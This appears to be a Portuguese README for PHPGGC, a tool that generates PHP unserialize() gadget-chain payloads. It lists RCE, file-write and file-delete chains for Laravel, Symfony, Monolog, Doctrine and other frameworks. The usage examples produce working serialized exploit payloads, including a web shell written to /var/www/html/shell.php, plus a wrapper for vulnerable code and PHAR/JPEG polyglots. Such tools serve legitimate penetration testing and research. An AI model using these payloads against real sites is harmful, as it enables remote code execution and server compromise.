
PHPGGC é uma biblioteca de payloads de unserialize() do PHP, juntamente com uma ferramenta para gerá-los, a partir da linha de comando ou programaticamente.
PHPGGC é uma biblioteca de payloads de unserialize() juntamente com uma ferramenta para gerá-los, a partir da linha de comando ou programaticamente. Ao encontrar um unserialize em um site do qual você não possui o código, ou simplesmente ao tentar construir um exploit, esta ferramenta permite gerar o payload sem ter que passar pelas etapas tediosas de encontrar gadgets e combiná-los. Ela pode ser vista como o equivalente ao ysoserial do frohoff, mas para PHP. Atualmente, a ferramenta suporta cadeias de gadgets como: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii e ZendFramework.
PHP >= 5.6 é necessário para executar o PHPGGC.
Execute ./phpggc -l para obter uma lista de cadeias de gadgets:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtrar cadeias de gadgets:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Cada cadeia de gadgets possui:
__destruct(), __toString(), offsetGet(), ...)Use -i para obter informações detalhadas sobre uma cadeia:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Para gadgets RCE, o comando executado pode ter 3 tipos de formatação, dependendo de como o gadget funciona:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idDepois de selecionar uma cadeia, execute ./phpggc <gadget-chain> [parameters] para obter o payload.
Por exemplo, para obter um payload para Monolog, você faria:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Para uma escrita de arquivo usando SwiftMailer, você faria:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
A opção --wrapper (-w) permite que você defina um arquivo PHP contendo as seguintes funções:
process_parameters(array $parameters): Chamada logo antes de generate(), permite alterar parâmetrosprocess_object(object $object): Chamada logo antes de serialize(), permite alterar o objetoprocess_serialized(string $serialized): Chamada logo após serialize(), permite alterar a string serializadaPor exemplo, se o código vulnerável se parece com isto:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Você poderia usar uma cadeia __toString(), envolvendo-a desta forma:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
E você chamaria o phpggc assim:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Na BlackHat US 2018, @s_n_t lançou o PHARGGC, um fork do PHPGGC que, em vez de construir um payload serializado, constrói um arquivo PHAR completo. Esse arquivo PHAR contém dados serializados e, como tal, pode ser usado para diversas técnicas de exploração (file_exists, fopen, etc.). O artigo está aqui.
Arquivos PHAR vêm em três formatos diferentes: PHAR, TAR e ZIP. Os três são suportados pelo PHPGGC.
Arquivos poliglotas podem ser gerados usando --phar-jpeg (-pj). Outras opções estão disponíveis (use -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id